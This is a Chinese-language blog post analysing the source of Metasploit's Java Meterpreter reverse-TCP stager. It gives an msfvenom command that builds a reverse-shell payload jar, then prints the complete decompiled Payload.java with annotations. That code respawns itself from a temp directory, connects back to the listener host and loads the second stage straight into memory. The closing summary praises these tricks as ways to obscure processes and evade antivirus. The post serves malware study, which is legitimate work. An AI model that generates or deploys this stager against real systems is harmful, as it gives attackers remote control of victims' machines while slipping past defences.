一、生成木马上线
msfvenom -p java/meterpreter/reverse_tcp LHOST=192.168.245.129 LPORT=4444 > /home/rkabyss/payload.jar
二、用jd-jui反编译源码
三、源码分析
MANIFEST.MF
Manifest-Version: 1.0
Main-Class: metasploit.Payload
Permissions: all-permissions
Name: metasploit.dat
Name: metasploit/Payload.class
metasploit.dat
Spawn=2
LHOST=192.168.245.129
LPORT=4444
Payload.java
package metasploit;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.DataInputStream;
import java.io.File;
import java.io.FileNotFoundException;
import java.io.FileOutputStream;
import java.io.IOException;
import java.io.InputStream;
import java.io.OutputStream;
import java.io.PrintStream;
import java.net.ServerSocket;
import java.net.Socket;
import java.net.URL;
import java.net.URLConnection;
import java.security.AllPermission;
import java.security.CodeSource;
import java.security.Permissions;
import java.security.ProtectionDomain;
import java.util.Enumeration;
import java.util.Locale;
import java.util.Properties;
import java.util.Stack;
import java.util.StringTokenizer;
public class Payload extends ClassLoader {
private static final String OS_NAME = System.getProperty("os.name").toLowerCase(Locale.ENGLISH);
//获取当前操作系统
private static final String PATH_SEP = System.getProperty("path.separator");
//获取路径分隔符
private static final boolean IS_AIX = "aix".equals(OS_NAME);
//判断是不是基于UNIX系统 是True 不是false
private static final boolean IS_DOS = PATH_SEP.equals(";");
//判断路径分隔符是不是";"
private static final String JAVA_HOME = System.getProperty("java.home");
//获取java安装目录
public static void main(String[] paramArrayOfString) throws Exception {
Properties properties = new Properties();
//创建读写配置文件
Class<Payload> clazz = Payload.class;
//通过反射获取Payload类,Payload.class
String str1 = clazz.getName().replace('.', '/') + ".class";
//获取文件路径
InputStream inputStream = clazz.getResourceAsStream("/metasploit.dat");
//创建IO加载配置文件
//inputStream为null此条件不执行
if (inputStream != null) {
properties.load(inputStream);
inputStream.close();
}
//获取配置文件Executable字段。配置文件没有Executable所有str2为null
String str2 = properties.getProperty("Executable");
//str2为null此条件不执行
if (str2 != null) {
//通过File创建一个名为~spawn.tmp临时文件夹
File file1 = File.createTempFile("~spawn", ".tmp");
//删除创建的临时文件夹
//这两步,刚创建完又删除是为了获取系统路径(C:WindowsTemp),对于不同系统临时文件夹位置不同,开发者通过用API来回去临时文件夹
file1.delete();
//在上一步路径下创建一个"~spawn.tmp.dir"文件
File file2 = new File(file1.getAbsolutePath() + ".dir");
//创建文件
file2.mkdir();
//file3是,将str2写到file2文件夹中,str2值为Executable字段
File file3 = new File(file2, str2);
//clazz是正在分析的Payload类,将这个类复制一份到临时文件夹下面
writeEmbeddedFile(clazz, str2, file3);
//将Executable字段删除
properties.remove("Executable");
//添加DroppedExecutable字段
properties.put("DroppedExecutable", file3.getCanonicalPath());
}
//获取配置文件中Spawn值,默认Spawn值为0,i=2
int i = Integer.parseInt(properties.getProperty("Spawn", "0"));
//上面创建文件的绝对路径
String str3 = properties.getProperty("DroppedExecutable");
//if判断Spawn值是否大于0,现在Spawn值为2
if (i > 0) {
//Spawn - 1,Spawn=1
properties.setProperty("Spawn", String.valueOf(i - 1));
//通过File创建一个名为~spawn.tmp临时文件夹
File file1 = File.createTempFile("~spawn", ".tmp");
//删除创建的临时文件夹
//这两步,刚创建完又删除是为了获取系统路径(C:WindowsTemp),对于不同系统临时文件夹位置不同,开发者通过用API来回去临时文件夹
file1.delete();
//在上一步路径下创建一个"~spawn.tmp.dir"文件夹
File file2 = new File(file1.getAbsolutePath() + ".dir");
//在临时文件夹"~spawn.tmp.dir"下创建metasploit.dat文件
File file3 = new File(file2, "metasploit.dat");
//在临时文件夹下创建一个metasploit文件夹
File file4 = new File(file2, str1);
file4.getParentFile().mkdirs();
//将当前分析的Payload.class类,复制一份到metasploit文件夹下,(C:WindowsTemp~spawn.tmp.dirmetasploitPayload.class)
writeEmbeddedFile(clazz, str1, file4);
//判断配置文件中URL值是否为"https:"开头
if (properties.getProperty("URL", "").startsWith("https:"))
//写入文件
writeEmbeddedFile(clazz, "metasploit/PayloadTrustManager.class", new File(file4.getParentFile(), "PayloadTrustManager.class"));
//判断配置文件中的AESPassword默认为空,如果不为空则进入
if (properties.getProperty("AESPassword", (String)null) != null)
//写入文件
writeEmbeddedFile(clazz, "metasploit/AESEncryption.class", new File(file4.getParentFile(), "AESEncryption.class"));
//在临时目录创建metasploit.dat文件,此时metasploit.dat文件中Spawn为1
FileOutputStream fileOutputStream = new FileOutputStream(file3);
properties.store(fileOutputStream, "");
fileOutputStream.close();
//getJreExecutable寻找当前JAVA环境,找到java.exe .file2="~spawn.tmp.dir"临时文件夹,clazz.getName()为当前Payload.Clazz
//将这些参数放到数组中
//运行程序C:Javajdk1.8bin -classpath C:WindowsTemp~spawn.tmp.dirmetasploitPayload.class
//如果运行.java是java -jar ,如果运行.clazz 为java -classpath
//运行刚才将本类复制到临时目录的另一个自己,相当于现在一个运行的自己,和一个临时目录的自己
Process process = Runtime.getRuntime().exec(new String[] { getJreExecutable("java"), "-classpath", file2.getAbsolutePath(), clazz.getName() });
//关闭
process.getInputStream().close();
process.getErrorStream().close();
Thread.sleep(2000L);
File[] arrayOfFile = { file4, file4.getParentFile(), file3, file2 };
for (byte b = 0; b < arrayOfFile.length; b++) {
for (byte b1 = 0; b1 < 10 && !arrayOfFile[b].delete(); b1++) {
arrayOfFile[b].deleteOnExit();
Thread.sleep(100L);
}
}
//因为程序执行了if条件,所有下边的else if和else都不会在执行了,所以程序执行结束,但只是这个程序结束了,临时目录下的文件才刚开始运行
//str3=DroppedExecutable为null
} else if (str3 != null) {
File file = new File(str3);
if (!IS_DOS)
try {
try {
File.class.getMethod("setExecutable", new Class[] { boolean.class }).invoke(file, new Object[] { Boolean.TRUE });
} catch (NoSuchMethodException noSuchMethodException) {
Runtime.getRuntime().exec(new String[] { "chmod", "+x", str3 }).waitFor();
}
} catch (Exception exception) {
exception.printStackTrace();
}
Runtime.getRuntime().exec(new String[] { str3 });
if (!IS_DOS) {
file.delete();
file.getParentFile().delete();
}
} else {
//创建一个OutputStream流
OutputStream outputStream;
//读取配置文件中LPORT赋值给j
int j = Integer.parseInt(properties.getProperty("LPORT", "4444"));
//读取配置文件获取LHOST赋值给str4
String str4 = properties.getProperty("LHOST", (String)null);
//读取配置文件获取URL赋值给str5,str5 = null
String str5 = properties.getProperty("URL", (String)null);
InputStream inputStream1 = null;
//j是端口,不小于等于0,此if条件不执行
if (j <= 0) {
inputStream1 = System.in;
outputStream = System.out;
//str5是URL,所以str5 = null,此if条件不执行
} else if (str5 != null) {
if (str5.startsWith("raw:")) {
inputStream1 = new ByteArrayInputStream(str5.substring(4).getBytes("ISO-8859-1"));
} else if (str5.startsWith("http")) {
URLConnection uRLConnection = (new URL(str5)).openConnection();
if (str5.startsWith("https:"))
Class.forName("metasploit.PayloadTrustManager").getMethod("useFor", new Class[] { URLConnection.class }).invoke(null, new Object[] { uRLConnection });
addRequestHeaders(uRLConnection, properties);
inputStream1 = uRLConnection.getInputStream();
}
outputStream = new ByteArrayOutputStream();
} else {
//创建socket
Socket socket;
//str4 = LHOST不为null进行条件
if (str4 != null) {
//如果LHOST不为null,new创建Socket,str4 = LHOST j = LPORT
socket = new Socket(str4, j);
} else {
ServerSocket serverSocket = new ServerSocket(j);
socket = serverSocket.accept();
serverSocket.close();
}
//socket输入流,得到输入流其实就是从服务器端发回的数据。
inputStream1 = socket.getInputStream();
//socket输出流,得到的输出流其实就是发送给服务器端的数据。
outputStream = socket.getOutputStream();
}
//获取AESPassword对应的值,str6 = null
String str6 = properties.getProperty("AESPassword", (String)null);
//str6 = null此条件不执行
if (str6 != null) {
Object[] arrayOfObject = (Object[])Class.forName("metasploit.AESEncryption").getMethod("wrapStreams", new Class[] { InputStream.class, OutputStream.class, String.class }).invoke(null, new Object[] { inputStream1, outputStream, str6 });
inputStream1 = (InputStream)arrayOfObject[0];
outputStream = (OutputStream)arrayOfObject[1];
}
//通过socket与服务端建立连接,从TCP流里面了拿到服务端发过来的数据(大马,真正实现功能的代码),进行加载。
StringTokenizer stringTokenizer = new StringTokenizer("Payload -- " + properties.getProperty("StageParameters", ""), " ");
String[] arrayOfString = new String[stringTokenizer.countTokens()];
for (byte b = 0; b < arrayOfString.length; b++)
arrayOfString[b] = stringTokenizer.nextToken();
(new Payload()).bootstrap(inputStream1, outputStream, properties.getProperty("EmbeddedStage", (String)null), arrayOfString);
}
}
private static void addRequestHeaders(URLConnection paramURLConnection, Properties paramProperties) {
Enumeration<?> enumeration = paramProperties.propertyNames();
while (enumeration.hasMoreElements()) {
Object object = enumeration.nextElement();
if (object instanceof String) {
String str = (String)object;
if (str.startsWith("Header"))
paramURLConnection.addRequestProperty(str.substring(6), paramProperties.getProperty(str));
}
}
}
private static void writeEmbeddedFile(Class paramClass, String paramString, File paramFile) throws FileNotFoundException, IOException {
InputStream inputStream = paramClass.getResourceAsStream("/" + paramString);
FileOutputStream fileOutputStream = new FileOutputStream(paramFile);
byte[] arrayOfByte = new byte[4096];
int i;
while ((i = inputStream.read(arrayOfByte)) != -1)
fileOutputStream.write(arrayOfByte, 0, i);
fileOutputStream.close();
}
private final void bootstrap(InputStream paramInputStream, OutputStream paramOutputStream, String paramString, String[] paramArrayOfString) throws Exception {
try {
Class<?> clazz;
DataInputStream dataInputStream = new DataInputStream(paramInputStream);
Permissions permissions = new Permissions();
permissions.add(new AllPermission());
ProtectionDomain protectionDomain = new ProtectionDomain(new CodeSource(new URL("file:///"), new java.security.cert.Certificate[0]), permissions);
if (paramString == null) {
int i = dataInputStream.readInt();
do {
byte[] arrayOfByte = new byte[i];
dataInputStream.readFully(arrayOfByte);
resolveClass(clazz = defineClass(null, arrayOfByte, 0, i, protectionDomain));
i = dataInputStream.readInt();
} while (i > 0);
} else {
clazz = Class.forName("javapayload.stage." + paramString);
}
Object object = clazz.newInstance();
clazz.getMethod("start", new Class[] { DataInputStream.class, OutputStream.class, String[].class }).invoke(object, new Object[] { dataInputStream, paramOutputStream, paramArrayOfString });
} catch (Throwable throwable) {
throwable.printStackTrace(new PrintStream(paramOutputStream));
}
}
private static String getJreExecutable(String paramString) {
File file = null;
if (IS_AIX)
file = findInDir(JAVA_HOME + "/sh", paramString);
if (file == null)
file = findInDir(JAVA_HOME + "/bin", paramString);
return (file != null) ? file.getAbsolutePath() : addExtension(paramString);
}
private static String addExtension(String paramString) {
return paramString + (IS_DOS ? ".exe" : "");
}
private static File findInDir(String paramString1, String paramString2) {
File file1 = normalize(paramString1);
File file2 = null;
if (file1.exists()) {
file2 = new File(file1, addExtension(paramString2));
if (!file2.exists())
file2 = null;
}
return file2;
}
//获取jdk运行目录
private static File normalize(String paramString) {
Stack<String> stack = new Stack();
//返回Java盘符
String[] arrayOfString = dissect(paramString);
//将盘符push到栈中
stack.push(arrayOfString[0]);
//将jre的路径和系统的分隔符传入
StringTokenizer stringTokenizer = new StringTokenizer(arrayOfString[1], File.separator);
while (stringTokenizer.hasMoreTokens()) {
String str = stringTokenizer.nextToken();
if (".".equals(str))
continue;
if ("..".equals(str)) {
if (stack.size() < 2)
return new File(paramString);
stack.pop();
continue;
}
////stack size=2 [1]=Java --> size=3 [2]=jdk1.8 --> size=4 [3]=jre --> size=5 [4]=bin
stack.push(str);
}
StringBuilder stringBuilder = new StringBuilder();
for (byte b = 0; b < stack.size(); b++) {
if (b > 1)
stringBuilder.append(File.separatorChar);
stringBuilder.append(stack.elementAt(b));
}
//返回java所在盘符和路径,C:Javajdk1.8jrebin
return new File(stringBuilder.toString());
}
//paramString = C:Javajdk1.8jrebin
private static String[] dissect(String paramString) {
//获取不同语言的路径分隔符
char c = File.separatorChar;
//将路径转换为不同语言的分隔符
paramString = paramString.replace('/', c).replace('\', c);
String str = null;
//i =1
int i = paramString.indexOf(':');
//判断是否存在盘符,并且运行系统是否是Windows
if (i > 0 && IS_DOS) {
//获取Java存在的盘符 j=2
int j = i + 1;
//str=6
str = paramString.substring(0, j);
//将java路径转换为char数组
char[] arrayOfChar = paramString.toCharArray();
//拼接/为C:/
str = str + c;
//如果系统是windows则j==3,否则为2
j = (arrayOfChar[j] == c) ? (j + 1) : j;
//获取剩余路径
StringBuilder stringBuilder = new StringBuilder();
for (int k = j; k < arrayOfChar.length; k++) {
if (arrayOfChar[k] != c || arrayOfChar[k - 1] != c)
stringBuilder.append(arrayOfChar[k]);
}
//paramString为Javajdk1.8jrebin
paramString = stringBuilder.toString();
} else if (paramString.length() > 1 && paramString.charAt(1) == c) {
int j = paramString.indexOf(c, 2);
j = paramString.indexOf(c, j + 1);
str = (j > 2) ? paramString.substring(0, j + 1) : paramString;
paramString = paramString.substring(str.length());
} else {
str = File.separator;
paramString = paramString.substring(1);
}
return new String[] { str, paramString };
}
}
/* Location: D:项目payloadpayload.jar!metasploitPayload.class
* Java compiler version: 5 (49.0)
* JD-Core Version: 1.1.3
*/
四、总结
总结一下这段代码做了些什么,首先进入代码进行判断系统和获取java安装路径,通过反射获取当前执行类的路径和metasploit.dat配置文件路径,通过配置文件Spawn值进行判断,不小于等于0进入语句,对Spawn进行减1,将metasploit.dat配置文件和当前Payload.class复制一份到临时目录下,运行临时目录下Payload.class,此程序运行结束,临时目录下程序继续运行。运行两次直到Spawn值为0时往下执行,获取配置文件LPORT和LHOST,建立socket获取服务器发过来的大马,然后加载大马。
这个有两个非常好的方法,一是通过Spawn值进行判断将自己复制运行最后才和服务端进行建立连接。二是通过小马来获取大马,类似远程分离不落地免杀技术。先说一为什么这么做,如果上来直接运行的话行为太明显,复制和运行自己说白了就是混淆进程,因为每复制运行一次都会新建一个进程,可以有效的混淆进程。二可以从两点说,第一点是大马体积太大,小马只是为了和服务端建立链接然后加载大马,大马才是真正要执行我们我要实现的功能。第二点是类似远程分离不落地免杀技术能很好的过杀软,因为小马他是不容易被杀掉的,小马和服务端建立连接,大马是不落地的,直接被小马加载到内存直接运行的。CS远控用到也是这种方式,有兴趣的可以自己分析一下。
原文始发于微信公众号(我真不会渗透):Meterpreter源码分析
免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论